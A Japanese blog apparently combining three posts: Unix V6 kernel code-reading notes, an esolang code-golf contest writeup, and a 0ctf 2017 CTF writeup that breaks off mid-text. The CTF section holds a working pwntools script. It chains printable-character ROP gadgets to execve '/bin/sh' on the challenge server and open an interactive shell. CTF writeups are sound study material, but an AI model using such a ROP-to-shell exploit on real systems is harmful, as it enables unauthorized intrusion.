Unix V6コードリーディングの個人的なメモ
学科ゼミとしてV6を読む会というのをやっています。ここまでのところ4回ほど開いて、順次はじめてのOSコードリーディング ~UNIX V6で学ぶカーネルのしくみ (Software Design plus)を読んでいます。とりあえずオラオラと9章(加えて14章)まで読んで来たわけですが、面白いなぁと思ったいくつかのことについて自分でまとめておこうという気持ちになったのでまとめようと思います。
ぼくはLions本を前から読んでいるわけではなく、V6の基本的知識はOSコードリーディング本によるものです。
（書いたのは、好きな話や少し気になった話だけです（浅く網羅しても仕方ないため））
forkの仕組み
概念的に「forkはプロセスの内容がコピーされて分岐する」のような説明を聞くことがあるのですが、これを達成する部分は少し巧妙でした。これはほぼ各所で書かれている話ですが、理解したところをまとめておきたいと思います。
基本的にUnix V6で新しいプロセスを作るにはこのforkをします。forkとは、現状のプロセスのコピーを作って、プロセスを分岐させます。ここで、実行される命令の列は同じだが、二つのプロセスの実行の流れを分岐させるうまい仕組みがあります。
そもそもforkは細かく見ると、具体的には次のいくつかの部分に分かれます
【親プロセス】
- newprocを呼び出す
- procやデータセグメントの情報を子供のプロセスにコピーする(*)
- newprocをreturnし、このとき0が帰って来る
savu(u.u_rsav);
rpp = p;
u.u_procp = rpp;
rip = up;
n = rip->p_size;
a1 = rip->p_addr;
rpp->p_size = n;
a2 = malloc(coremap, n);
/*
* If there is not enough core for the
* new process, swap out the current process to generate the
* copy.
*/
if(a2 == NULL) {
rip->p_stat = SIDL;
rpp->p_addr = a1;
savu(u.u_ssav);
xswap(rpp, 0, 0);
rpp->p_flag =| SSWAP;
rip->p_stat = SRUN;
} else {
/*
* There is core, so just copy.
*/
rpp->p_addr = a2;
while(n--)
copyseg(a1++, a2++);
}
u.u_procp = rip;
return(0);
(ken/slp.c)
このとき、子供は起きていない状態で、親の実行が進みます。次に、swtchによって、プロセスのスイッチが起きて、子供が起こされた時どういう挙動になるかを考えます。まず実行が始まるのは、データセグメントやレジスタの情報を保存した部分になります。これは、すなわち、上記のnewprocの中の部分です。
swtch自体は、
if(rp->p_flag&SSWAP) { rp->p_flag =& ~SSWAP; aretu(u.u_ssav); } /* * The value returned here has many subtle implications. * See the newproc comments. */ return(1);
(ken/slp.c)
のような形で関数から戻ります。
ここで重要なのは、swtch内でaretuが実行されることにより、このnewprocを呼び出した関数に戻るように、swtchがreturnされるという点です（すなわち、スタックフレームが一個ずれる）。これにより、newprocからあたかも1が帰って来ている状態になり、結果として、
fork()
{
register struct proc *p1, *p2;
p1 = u.u_procp;
for(p2 = &proc[0]; p2 < &proc[NPROC]; p2++)
if(p2->p_stat == NULL)
goto found;
u.u_error = EAGAIN;
goto out;
found:
if(newproc()) {
u.u_ar0[R0] = p1->p_pid;
u.u_cstime[0] = 0;
u.u_cstime[1] = 0;
u.u_stime = 0;
u.u_cutime[0] = 0;
u.u_cutime[1] = 0;
u.u_utime = 0;
return;
}
u.u_ar0[R0] = p2->p_pid;
out:
u.u_ar0[R7] =+ 2;
}
(ken/sys1.c)
上のプログラムにおいて、newprocの返り値による分岐ができています（！）。この仕組みはなかなかうまいなぁと思います。
文章で書いてもわかりにくいので図にしました。
図にしてもあまりうまく書けなかったです。
MMU用のハードウェアAPRなどの管理
UISAやUDSAのようなアドレスは特定のアドレスにマップされていますが、なぜこれを更新するとちゃんとコンテキストスイッチができるのかについて本を読んでいて納得できなかったので一応メモです（今から考えるとそれはそう）。
というのは、UISAやUDSAというのはアドレス中の値であり、具体的には
#define UISA 0177640 /* first user I-space address register */ #define UDSA 0177660 /* first user D-space address register */
のように定まっています。しかし、このアドレスというのは仮想アドレスであることから、MMUがうまく参照できないのでは？という疑念がありました。
結論から言うと、カーネルAPRの7番目の値すなわち仮想アドレス0160000〜0177777が常に物理アドレス上の0760000〜0777777にマップされるため問題はないです。 つまり、UISAがマップされる場所やUDSAがマップされる場所は常に固定で、逆にこの固定の領域を使って周辺デバイスとのやりとりがなされています。 これらのアドレスが選ばれていることについては、Lions本を引用すれば"The method of assignment of addresses to registers in this page is a black art: the values are hallowed by tradition and are not to be questioned."らしいので、とりあえずこの場所に固定された領域があってMMUがここを読みに来ているのでうまくアドレス変換が可能となるのだということまでは言えると思います。
その他ネタ
へーって思った話。普通にPDP 11のWikipediaとかOSリーディングの本とか見れば書いてあることだが、へーって思ったのでメモ。
無名構造体
int型の値のMSBから8bitみたいな値を参照するのに、構造体のようにアクセスしているコードが随所にあります。
(*bdevsw[rootdev.d_major].d_open)(rootdev, 1);
こんな風な感じです。これ一見すると全然変ではないんですが、例えばrootdevというのは、
int rootdev; /* dev of root see conf.c */
のように定義されていることからわかるように、int型の値です。すなわち、int型の値に構造体にアクセスしているということで、なんやねんとなります。
実は、ここで使われているC言語はpre K&Rといわれるもので、現在ではありえないような構文がいくつか存在します。これもその一つで、裏には、無名構造体という概念があります。例えば、d_major、d_minorの定義は
struct
{
char d_minor;
char d_major;
};
のようになっています。このように無名な構造体を定義すると、任意の変数に対してこのような参照が可能になります。 デバイス番号というのは、MSB8bitにmajor番号、その下8bitにminor番号が入ったものになっています（int型自体は16bit）。したがって、見方によってはint型というのはchar型が二つ並んだという構造をしているものであると考えることができ、よって上のような書き方をすることができます。すなわち、MSB1byte分に対するアクセスであると言えます。
ところで面白いのは、デニスリッチーですら混乱したのか一部では
(*bdevsw[swapdev>>8].d_strategy)(&swbuf);
(dmr/bio.c のswap関数)
のように、デバイスのMSB1byteをある種より直接的に取り出しているコードがあったりして面白いです。
エンディアンの話
上に関連して、上のコードが動くならリトルエンディアンなんやろなーって思ったら、少し興味深い感じでした。というのは、確かに16bitの値に対してはリトルエンディアンになっているのですが、32bitの値を表現する、すなわち2ワードに関しては、ワードについてはビッグエンディアンになっているらしいということです。日本語で説明するのは難しいので図があります。
itruncで間接参照テーブルについてのoff by one errorっぽいやつ
if(*ip) {
if((rp->i_mode&ILARG) != 0) {
bp = bread(rp->i_dev, *ip);
for(cp = bp->b_addr+512; cp >= bp->b_addr; cp--)
if(*cp) {
if(ip == &rp->i_addr[7]) {
dp = bread(rp->i_dev, *cp);
for(ep = dp->b_addr+512; ep >= dp->b_addr; ep--)
if(*ep)
free(rp->i_dev, *ep);
brelse(dp);
}
free(rp->i_dev, *cp);
}
brelse(bp);
}
free(rp->i_dev, *ip);
*ip = 0;
}
(ken/iget.c itrunc関数）
ここですが、
for(cp = bp->b_addr+512; cp >= bp->b_addr; cp--)
はおそらく、512ではなく、510ですよね。
これに関してはLions本にも言及があり、"Since they will presumably contain zero, they will contribute nothing to the calculation."などと書いてある。確かに、*(b_addr+512)が0であれば、そのあとの条件分岐の中に入らないので良いっぽいのだが、いつゼロクリアしたかというと、これは難しくて、例えばバッファの初期化部分のコードを見ると
clrbuf(bp)
int *bp;
{
register *p;
register c;
p = bp->b_addr;
c = 256;
do
*p++ = 0;
while (--c);
}
(dmr/bio.c)
となっていて256回ループするが、ところで、bufferの定義は、
char buffers[NBUF][514];
であることから、最後の2byteについてはおそらく0クリアされない。すると、どこで、0クリアされているのかを考えると、おそらく起動時の物理メモリの0クリアまで遡るのではないか。この部分については完全に推測でしかないが、しかし、off by oneっぽいのが残っているのは少し面白いです。
ねむい。だいぶ雑になってしまったので渋い（また全部読んだ時に改めてまとめたい）
星空を描く ~esolang(難解プログラミング言語) writeup ~
３月末に、TSGというサークルでesolang( esoteric language ;難解プログラミング言語の略)陣取り大会というゲームが開催されました。この記事はそのwriteupです。割とポエムです。
TL;DR
esolangショートコーディングは、僕がポエムを書いてしまうくらいには熱い
この記事に書かれているのはこれだけです。
目次
- TL;DR
- 目次
- ルール
- 解法の概観
- Starry
- Emoji
- Element
- Minus
- Emmental
- Beam
- Minimal-2D
- (Brainfuck)
- Golf言語たち
- 実用言語たち
- Cubix(解けなかったけど紹介)
- 終わりに
ルール
esolang陣取り大会のルールは、
- 赤と青の二つのチームに分かれたチーム戦
- 「百桁の数列をソートして出力せよ」という問題を解く （例えば４桁の例として、4321 -> 1234）
- 各チームは獲得済みの陣地の四方の言語に挑戦可能で、各マスの言語でお題にかなうコードを書くと、陣地として獲得可能
- 相手の陣地も、より短いコードを出せば、取り返せる
(相手の解答は終了までは見れない)
というものです。要するに『より短いコードで、ソートをせよ！』というある種のコードゴルフ的な要素を秘めています。
大会の様子については、TSGの公式Twitterをご覧ください。
結果は、赤チームが27-20で勝ちました（僕は赤チームでした）。
競技の推移
こんな感じで陣地が変わっていきました
解法の概観
各言語のwriteupを書く前に、「百桁の数列をソートして出力」という問題に対するいくつかのアプローチを紹介します。
ソートと聞けば、クイックソートやヒープソートなどを思い浮かべがちですが、今回は計算量よりもコードが短いことが正義です。そういった実装は、大きくなりがちなので、今回は一度も直接的に（ライブラリとしてソートがある場合は別として）、それらを実装することはありませんでした。
今回僕が用いた方針は大きくわけて３つです。
- バケツソート
- 0〜9についてそれぞれ文字列をなめて、一致したら出力（以下、総なめ方針と呼ぶ）
- 言語やそのライブラリにソート実装がある（Golf言語や実用言語）
バケツソートは、Wikipediaにもありますが、数列を順に見ていき、0~9のそれぞれの数を順に数え、その後その回数分その文字列を出力する、という方針です。これは簡単なループで書くことができ、今回の問題に関しては非常に強力でした。
以下、僕が解いた言語について（最終的に最短解ではなかったものも含めて）、書いていこうと思います。
Starry
僕はこの言語が結構好きで、タイトルや年賀状にしてしまいました。
スタックベースの言語で、内部実装はRubyです。言語仕様はesolang wikiを参照してください。
方針1. バケツソート
Rubyは多倍長整数をサポートしているので、100桁の数値も、int型として保持可能です。この性質を利用して、0~9の「バケツ」を100進数の数の各桁として保持するという方針でまず解きました。
+ + + * +* ` + , + + * + * * + + +' ` + + + * +* * + + *` + ' +* + + * + ' + + ` + + + + * +* * + ' ` + + +. + + * ` + ' + + + * +* * + +* + + * '
(339bytes)
綺麗な星空です。星空は観賞用で、実装自体はPythonを使って書いたので、内容はstarry/solve1.pyを見てください。
方針2. 総なめ方針
最初339bytesの星空が描けて満足していたんですが、この後kurgm氏が260bytesの回答を提出し、抜かされます。そこで、方針を切り替えて、上で挙げた三つの方針のうちの二番目、『総なめ方針』に切り替えました。
実は、このesolang問題サーバーは、テストが甘く、毎回乱数でテストケースを生成しますが、ケースが一つだけなので、コーナーケースがあったとしても常識的な範囲で通れば通せてしまうという話があります。今回短くするにあたって、実はこの方針は先頭の文字が0だとその0が失われてしまうというコーナーケースが存在します。
しかしそれを回避するコードを描くと少し長くなってしまうので、今回は多少のコーナーケースには目をつぶりました。
, + + ` +` + + * + + + + * ' +. ` + + * +'* +* + + + + + + * '
(133bytes)
実装方針は、starry/solve2.pyです。
一応この後青チームに奪われなかったので今回はこのコードが最終解になりました。
Emoji
この言語は、Unicodeにある絵文字を使ってプログラミングをする言語です。スタックベースの言語ですが、変数が定義可能で、変数名でのデータ参照が可能です。内部実装はPythonです。詳しい仕様に関してはEsolang Wikiを見てください。
方針
この言語は最初kurgm氏が248bytesの解法で解いている状態から始まりました。これ自体が既に十分短く、簡単なバケツソートでは太刀打ちができませんでした。そこで、上で示した2番目の方針である総なめ方針を使いました。
この言語は、配列や文字列のn番目の値にアクセスをすることが可能で、ただし、outputは必ず改行が入ってしまうという問題がありました。
したがって、基本方針としては、0~9について順に、100桁の数を一つずつ見ていき、一致すればresult用文字列の後ろにつけ、最後にその文字列を出力するという方針をとりました。
しかし、実はこれも愚直に２回のループを使って実装すると248bytesを抜けませんでした。そこでさらに発想を加えて、１回のループでこれを実現することを考えました。
具体的には「インデックスとして保持する変数を100進数として見た時、1桁目を文字列のインデックスに、2桁目を今どの文字を参照しているか？にあてる」という方針を使いました。
例えば、4805という数字は、48（「0」のascii文字コード）を2桁目が差していて、1桁目が5を差しています。すなわち、このループでは、 「6442285896459673378121435372838284681661827573016871763560392310008272763218711572923569634914483640」 というような数列に対して、(0indexで)五番目の2が、0か？を判定する処理を書けば良いです。
このようにすると、競技中に229bytesまで縮めることができました。
💬💬📲💬💬💬0💬🔢⛽💬1💬🔢👫👥💬5800💬🔢🐣🚘 ⛽👥👥💬100💬🔢🍴🔍👥💬c💬📲🔀💬100💬🔢💸💬💬📱🔀🔑👬🔚🔀💬c💬📱👫🔀🐧🚘 🔃🔀➡
(229bytes)
競技中はこれが最短解となりました。実装用に競技中に使用したPythonスクリプトemoji/solve.pyです。
競技後
競技後、敵チームだったkurgm氏と解答について話し合っていると、実は、emojiの仕様や内部実装であるPythonの仕様、さらにはUnicodeの仕様を理解していると、さらに短くすることが可能であることが判明しました。Slackで挙げられていたものを勝手に羅列させてもらえば、
- Pythonにおいて「False + 1 = 1」となるので、0初期化はFalseを使うべき
- 📤の１文字でインクリメントが可能
- PythonのDictはKeyとしてFalseやTrueが使えるのでそちらを使うべき
- 文字列生成は、emojiには二つパターンがあるのですが、そのうち、⛽🚘の方が💬💬より1byte短い（！）
などです。これを適用するとkurgm氏が一気に183bytesまで短くするなど、していたので、なかなかに奥が深い言語だったなぁという感じです。
Element
非常に人間の温かみを感じる言語。今回書いたesolangの中では最も書きやすい言語でした。実際競技中に解く際も、Pythonなどでコード生成するのではなく直接Elementを書いたので、そういう意味でも良い言語でした（後に出てくる２次元系言語は仕方なしに直接書きましたが）。
仕様は、Esolang Wikiに詳しいですが、簡単に解説すれば、制御用のスタックとデータ保持用のスタックがあり、変数を作ることもできます。大きな特徴は変数参照「~」にあります。これは「a~」と書くと、aという名前の変数に代入されている値を取り出すという意味になり、さらに「a~~」のようにすると、aという変数に代入されている値の名前の変数を参照する、、、というように、組み合わせることで、一つの変数から色々な場所へ飛ぶことができます。これを今回はフル活用しました。
方針は典型的なバケツソートで、変数名0~9をバケツとして扱い、それをそのあとに取り出すという方針です。
0 0;
0 1;
0 2;
0 3;
0 4;
0 5;
0 6;
0 7;
0 8;
0 9;
_ q;
100'[
q~ ( x; q;
1 x~~ + x~;
]
10'{
"k;
10 k~ -+ i;
i~~'[
i~`
}
k~ 1 -+ '
}
(element/code) さらに、不要な改行やスペースを取り除き、短くすると88bytesになりました。
00;01;02;03;04;05;06;07;08;09;_q;100'[q~(x;q;1 x~~+x~;]10'{"k;10 k~-+i;i~~'[i~`}k~1 -+'}
(88bytes, element/code.min)
Minus
驚くべきことに、この言語には命令「-=」しか備わっていません。つまり、基本的に演算が引き算しかありません。しかし、この言語はチューリング完全です（brainfuckがシミュレート可能）。言語仕様に関しては、公式サイトに書いてありますが、見辛い（背景の灰色が主にその要因）ので、今回使った話を少しまとめます。
-=しか使えない、と書きましたが、特定のレジスタを書き換えることや、レジスタの値を参照することで、inputやoutput、さらにはループを実現します。
レジスタ
基本的に小文字のアルファベットはレジスタです。特に、c, i, o, pは重要な意味を持つレジスタで、さらにj, q, rも意味のあるレジスタです（今回は使いませんでした）。それ以外は汎用レジスタとして使えます（のはず）。
まず、inputに関連するレジスタは、iです。例えば、
a-=i
とすると、inputから１文字を読み込んでその値をレジスタaから引き算します。
outputに関連するレジスタはo, j, qがありますが、今回はoのみ考えます（詳しい話は公式を見てください）。oから値を引くと、その値が出力されます。ここで注意すべきなのは、oに何か値があるというわけではないので、例えばA-=48;o-=A;o-=Aというコードは２回0が表示される。あくまでも引かれた数が出力されます。
さらに、cというレジスタがx86でいうところのeipというやつ、すなわち、インストラクションポインタです。基本的に命令はファイルの上から下へ進み、それに伴いcの値は加算されていきます。しかしここで、c-=1などとかくと、無限ループさせることができます。これを駆使してループを実現することができます。
そして最後にpレジスタです。MinusにはBrainfuckのように無限長のメモリがあります。これがMinusのメモリ機構になるのですが、このメモリを参照する際のベースポインタを表しているのがpレジスタです。そして、pレジスタからの特定のオフセットの値を読み書きするために使えるのが大文字のアルファベット群です。これはAがp+0、Bがp+1、…というように特定のオフセットへのメモリアクセスを可能にしています。
メモリに関して具体例を示します。例えば、次のように、Aに値(48は0のasciiコード)を入れたあとにpを1引くと、その前に入れた値はBへ移ります。
コード
A-=48 p-=1 o-=B
実行結果
% minus code 0%
方針
Minusは、esolang大会で最初に解いたesolangで、このころはまだ愚直にバケツソートばかり書いていました（そして最後まで奪われなかった）。なので、この解答はあまり短く無いかもしれません。
内容は、疑似コードとして
for i in range(100): mem[p-getc()]++ for i in range(48, 58): for j in range(mem[p-i]): write(i)
のようなコードをMinusで再現しました。
p-=p k-=k l-=l k-=100 l-=k p-=90 A-=A k-=k k-=l A-=9 p-=k c-=A p-=p A-=i p-=A K-=1 A-=K p-=p A-=A l-=1 c-=16 p-=p p-=p k-=k l-=l k-=10 l-=k p-=60 A-=A k-=k k-=l A-=31 p-=k c-=A p-=p A-=A A-=58 m-=m n-=n m-=10 n-=m n-=l A-=n p-=A u-=u u-=A A-=A p-=p p-=30 A-=A v-=v v-=u A-=7 p-=v c-=A p-=p A-=A A-=48 A-=n o-=A u-=1 c-=15 p-=p l-=1 c-=38
(337bytes)
まぁこれを見てわかる人は少ないと思うので、このコードを生成したスクリプトminus/solve.pyです。
Emmental
僕が言語仕様を捉えきれずに解いてしまった言語です。おそらくもっとずっと短くなるはずのコードについて説明します。
まず、Emmentalに関してはkimiyukiさんのブログに詳しいので割愛します。良い言語らしいのですが、数字を変数として扱うと突然どっかへ飛んで行ってしまったり、そもそもデバッグがしづらい、僕の技量が足りない、等の理由であんまり短くすることを諦めました。
そもそもこの言語、文字列は#[Ascii code]という形でスタックにpushするのですが、関数定義はコードとして評価可能な文字列を変数に代入することで行います。すると、手でコードを生成しようとすると#.. #..を無限に打つハメになりさすがにダメです。これに関しては、kimiyukiさんのブログでも指摘されている通り、大体表現を用いて後からcodeをトランスパイル的なことをすれば良いというになります。
そのためのコードが、emmental/transolator.pyです。これを用いると、「; 'v'^'$ 'z!」（rotate関数）のように書いたコードを、トランスパイルすると'[文字]の部分が、#[ascii code]化されて「;#118#94#36#77!」となります。さらに、追加機能で「;'(ABC)!」とすると（これ再帰表現には対応していないですが）、「;'A'B'C!」と展開されるような機能もついています。これで少しコードが書きやすくなります。
方針 バケツソート
この言語でもバケツソートを用いました（この言語は比較処理が強くないので適切なはず）。しかし書いた解法どちらにもコーナーケースが存在しました。特に二つ目に関しては5回に1回くらいしか通らないゴミです。そして、一つ目と本質部分は変わらないので、一つ目だけ少し書きます。
この言語、メモリがrotate可能です（queue型）。すると、読み込み部分は楽にかけます。
// push functions ;'(v#1+^$rrrrrrrrr)#65! ;'(rv#1+^$rrrrrrrr)#66! ;'(rrv#1+^$rrrrrrr)#67! ;'(rrrv#1+^$rrrrrr)#68! ;'(rrrrv#1+^$rrrrr)#69! ;'(rrrrrv#1+^$rrrr)#70! ;'(rrrrrrv#1+^$rrr)#71! ;'(rrrrrrrv#1+^$rr)#72! ;'(rrrrrrrrv#1+^$r)#73! ;'(rrrrrrrrrv#1+^$)#74! // read 100 times ;','#'1'7'+'?'t! tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt tttttttttt
(rはrotate)
お察しの通り、読み込んだ文字に17を足して（これを数字のままマッピングするとバグる）、大文字のアルファベットにマップし、queueをうまいこと回転させてバケツに入れます。
問題はこの後で、この言語、条件分岐はなく、関数名のマッピングで、飛ぶ先をうまく操作する必要があります（だから条件分岐がないわけではないが）。
この言語ではこれを達成するため（？）に、logxという関数があります。この使い方に関してはkimiyukiさんのブログに少し書いてあります。これはPythonで言うところの、floor(log(x,2))とほぼ同じのはずです。ただし、log(0)は8になったりなど、ちょっと急いでいる（相手チームも取れるマスだった）ときに理解がうまく走らなかったので、仕方なく愚直解を書きました。
; '#'4'8'.'p! ;'p'#'1'-':'#'6'5'+'?'l! ; '*'A! ; 'l'B! ; 'l'C! ; 'l'D! ; 'l'E! ; 'l'F! ; 'l'G! ; 'l'H! ; 'l'I! ; 'l'J! ; 'l'K! ; 'l'L! ; 'l'M! ; 'l'N! ; 'l'O! ; 'l'P! v:#65+?
具体的にはこうです（これは0の場合）。バケツが1以上の時は、lに行き、0の時にnopをするようなsled的なものを作り、対処しました。まぁ動きます（自明なコーナーケースがありますがそんなには落ちません）。
残る問題として、これを0~9全部について書かなければいけないということです。予定では、このl-sledとも呼ぶべきA~Pの関数群は、定義されたタイミングでのlに飛ぶようになっているようで、次に新しく1のためのlを定義すると、また新しくこのsledを作る必要があります（今気づいたんですが、文字を表すシンボルを外部においておいて、それを参照するようにすれば、lを再定義する必要がなくなる気がしますが、当時はそういう発想はありませんでした）。
結果、コードが、2844bytesになります。一応完成コードemmental/code1, とトランスパイル前emmental/solve1です。
さすがに短くできるだろうと、この後ループ等に挑戦するもうまくいかず結果として生成されたコーナーケースだらけコードが、emmental/solve2です。一応1838bytesになりますが、こんなものは参考記録です。
Beam
世の中には、Befungeなどに代表されるtwo dimensional languagesというものが存在します。普通の言語は、通常、一行一行が上から下へ、そして、各行は左から右へ実行されるのが常識だと思います。しかし、この手の「二次元プログラミング言語」（どう訳されるのか知りませんが）は、プログラムが２次元の格子状にマッピングされ、プログラムのされかたによって、インストラクションポインタが縦横無尽に格子上を駆け巡ります。
では、このBeamという言語の仕様について簡単に説明します。詳しい仕様は、Esolang Wikiに書いてあります。
この言語の特徴は、beamとstoreと呼ばれる二つのレジスタです。プログラムの進行の制御はこの二つのレジスタを介して達成されます。
基本骨格としては、>^<vを使ってプログラムの進行をぐるぐると回してループをさせつつ、条件分岐をする、ということになります。
しかし、ここで一つ問題があって、よくあるBrainfuckなどの無限長メモリがある言語では多くの場合、初期値として無限長のメモリに0が代入されている、という仕様になっているはずです。しかし、Beamでは初期にはメモリは長さ0の配列という形になっていて、ここで値を参照するとUndefinedになります（予定では0）。Beamの仕様を詳しく読んでいないので、実はBeamの実装が正しくないという可能性（しばしばesolangの実装は仕様と異なる時がある）があるのですが、このために、最初に使う範囲のメモリを0でfillするという作業を加えました。
その部分が
P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'v vP'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'< >`````````````````````````````v v`````````````````````````````<
ここです。そして、100回入力を読み込みます。これはEOFまで読み込むはずです。
>> rg'sSv ^ ) v L<
あとは、0~9についてはループを書いても良さそうだったんですが、相手陣地から遠いということもあって、愚直に全部とりあえず書きました（そして奪い返されなかったのでこのままになった）。
v s< g (@`^ +
これが表示部分（のひとつ）です。最終的なコードはbeam/codeです(418bytes)。かなり書きやすい言語だったという印象です。
Minimal-2D
これも「二次元プログラミング言語」の一つです。しかもこの言語、コマンドが非常に少ないのが特徴で、11個しかありません。Esolang Wikiに詳しい言語仕様が書いてありますが、簡単に各命令について書きます。
| 記号 | 内容 |
|---|---|
| > | メモリベースポインタを一つ右にずらす |
| < | メモリベースポインタを一つ左にずらす |
| U | プログラムの進行を上向きへ |
| D | プログラムの進行を下向きへ｜ |
| L | プログラムの進行を左向きへ｜ |
| R | プログラムの進行を右向きへ｜ |
| / | ベースポインタが指すメモリの値が0ならば次の命令を無視する |
| + | 現在のベースポインタが指すメモリの値を1増やす |
| - | 現在のベースポインタが指すメモリの値を1減らす |
| . | ベースポインタが指す値を出力 |
| , | 入力をベースポインタが指すメモリに書き込む |
これだけです。インストラクションポインタをぐるぐると回してループをしつつ、条件分岐を/で行うのが骨格となります。また、メモリがスタックではなくポインタで参照なので、この点にも留意が必要です。
方針
これもバケツソートです。こういうスタック型でない言語はバケツソートが書きやすいので、多分適しています（書きやすいから、適するは真か？）。
実はこの言語は、相手陣地から遠く離れたところにあって、競争を免れていたので、あまり短くする努力をしませんでした。なので、コード自体は非常に見やすいものとなっていますが、良いコードかは保証しません。
<++++++++++++++++++++++++D
D>+++++++++++++++++++++++L
R++++++++++++++++++++++++++++++++++++++++++++++++++ D
D++++++++++++++++++++++++++++++++++++++++++++++++++L
R>,------------------------D
D------------------------L
R/D >+< D
R-/D >> + << D
R-/D >>> + <<< D
R-/D >>>> + <<<< D
R-/D >>>>> + <<<<< D
R-/D >>>>>> + <<<<<< D
R-/D >>>>>>> + <<<<<<< D
R-/D >>>>>>>> + <<<<<<<< D
R-/D >>>>>>>>> + <<<<<<<<< D
R-/D>>>>>>>>>>+<<<<<<<<<<D
DU/ -< L
R<<+>>>R<<<.>>>-/D<<<+>>>>R<<<<.>>>>-/D<<<<+>>>>>R<<<<<.>>>>>-/D<<<<<+>>>>>>R<<<<<<.>>>>>>-/D<<<<<<+>>>>>>>R<<<<<<<.>>>>>>>-/D<<<<<<<+>>>>>>>>R<<<<<<<<.>>>>>>>>-/D<<<<<<<<+>>>>>>>>>R<<<<<<<<<.>>>>>>>>>-/D<<<<<<<<<+>>>>>>>>>>R<<<<<<<<<<.>>>>>>>>>>-/D<<<<<<<<<<+>>>>>>>>>>>R<<<<<<<<<<<.>>>>>>>>>>>-/D<<<<<<<<<<<+>>>>>>>>>>>>R<<<<<<<<<<<<.>>>>>>>>>>>>-/D
U L U L U L U L U L U L U L U L U L U L
(1542 bytes, )
brainfuck同様、大きな数（100とか）の初期化はループを用いて短くできるなどのテクはこの言語でも有効ですが、短くする必要がなさそうだったのでしていません。
やっていることは100文字読み込んで、メモリに配置したバケツに入れ、その後一番下の長い長い（ここもちゃんとループを書けば短くなるはず）部分で、それぞれの文字を吐き出しています。力技です。
(Brainfuck)
最初に800bytes超えのコードを出して喜んでたらその夜くらいに、daiさんが36bytesとかいう意味不明すぎる解答を提出して、驚きを通り越して笑ってしまいました。おわり。
Golf言語たち
Golf言語たちは、ググってドキュメントをあたれば大体わかります。そして入力を受け取ってソートをするというような処理は、非常に短い文字数で達成できます。大体sortのSに近いワードが割り当てられてるのでエスパーでも当てられるきもします。
MATL
jS
CJam
q$
05ab1e
I{
2sable
I{
（実は2sableと05ab1eは両方、{でいけるんですねこれが（何故競技中お互い気づかなかったのか））
Jelly
ɠṢ
Stuck
s$
実用言語たち
みんな大好きPython、Octave、C（これはsatosさんに抜かれた）、C#（これはliesegangさんに抜かれた）、D（これはkurgmさんに抜かれた）。
Anarchy Golfのネタバレにもなりますし（Anarchy Golfより短いものができているのならまだしも）、コードを出すまでもないので（まあPythonとか大したコードでもないので）、スルーします。
C言語に関しては、多分環境がAnarchy Golfと違うので結構長いコードになってしまっているのですが、これもまた面白かったです。C言語の最初のCorrect Answerが112bytesでここから、多分５〜７個くらいの発想の追加で、57bytesになりました。C言語は本当に奥が深いです。
Cubix(解けなかったけど紹介)
これ終了２時間前くらいに解こうと決意して、結局解き終わらず、今も解けていないんですが、非常に興味深い言語です。言語仕様は、Befunge, Labyrinthや今回解いたMinimal 2D, Beamのような2次元に書くプログラミング言語の一種なのですが、なんと意味不明なことに、それを立方体の表面に貼り付けるというのです。
これでショートコーディングをするということは、論理的な力だけでなく、立体把握能力さえも問われるという、非常に脳みそ破壊的言語なわけです。もはやこれだけで大会を開けるのではないか、というレベルです。
終わりに
ここまで読んでくれた方はいないでしょうが、esolangは非常に楽しいので、つい時間を溶かしてしまってさらにはポエムまで書いてしまう怖さがあるなぁ、ということがわかります。
特に、esolangでショートコーディングするにあたって「言語仕様を理解し、それに合った実装を行う」というステップはパズルのようでかなりはまります。是非今後もやっていきたいという感じです。
0ctf 2017
char
ropできるんだけど、送りこめるデータが識字可能文字だけ、という問題。rop用にlibcが0x5555e000あたりにロードされる。まぁ、ある意味頑張ればできる問題なので、solverは結構いた。
方針は、/bin/shのアドレス(0x556bb7ec)自体は、ロード不可能な文字列を含むので、それに近くてロード可能なアドレスである0x556b7e7eをebxにロードし、ebxに0x396eを足す。そして、システムコールexecve(ebx=“/bin/sh”, ecx = [“/bin/sh”, NULL], edx=0)の状態を作る。
しかし、一度作ったebxのアドレスをecxにコピーする手段が思いつかなかったので、eaxにもう一つ作って（今度は0x556b7e39をロードしてah + alしてal+0x35)、[edx] に書き込んだ。ここで、なぜか（理由はなんにせよ）ecxとedxがrop開始時に同じアドレスを指していることを利用した。
# coding:utf-8 from __future__ import print_function from pwn import * shellcode = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef" shellcode += "(0dU" # pop ebx shellcode += "~~kU" # addr(0x556b7e7e) shellcode += "7zaU" # mov eax, 0x20 shellcode += "cBdU"*0x19 # inc eax 0x19 times shellcode += "`(mU" # add ah, al shellcode += "cBdU"*0x35 # inc eax 0x35 times shellcode += "CNcU" # add bh, ah shellcode += ">d_U" # add bl, al shellcode += "_mgU" # pop eax; add esp, 0x5c shellcode += "9~KU" # addr(0x556b7e39) shellcode += "A" * 0x5c # dummy shellcode += "`(mU" # add ah, al shellcode += "cBdU"*0x35 # inc eax 0x35 times shellcode += "r{^U" # mov dword [edx], eax; ea eax, dword [edx+0x03] shellcode += "z-dU"*0x4 # inc edx; xor eax, eax -> edx +4 shellcode += "r{^U" # mov dword [edx], eax; ea eax, dword [edx+0x03] shellcode += "?yaU" # mov edx, 0xffffffff shellcode += "z-dU" # inc edx; xor eax, eax shellcode += "cBdU"*0xb # inc eax 0xb times shellcode += "wqfU" # int 0x80 print(shellcode) host = "202.120.7.214" port = 23222 r = remote(host, port) r.recvuntil("GO : )") r.sendline(shellcode) r.interactive() # ref # https://www.goto.info.waseda.ac.jp/~kiire/bin/rop.php # http://qiita.com/kusano_k/items/ce48945f9ee8763edd1c
py
これも頑張ればできる問題。solverも多かった。pycが渡されるが、なぜかopecodeを入れ替えたらしい（意味不明）。ただ、入れ替えたのはopcodeのみで、opcodeが使う変数などのindexはいじられていないので、opcodeが70以上かどうかは見ればすぐわかるし、ソースコードが短いので、だいたい雰囲気はつかめる。また、ロードしている変数名から、rotorというライブラリを使っているらしいこともわかるのであとは気合を出す。decrypt関数だけ復元したものが次。<39>が、strとintの演算子でずっと[]のどれかだと思っていたのでつらい
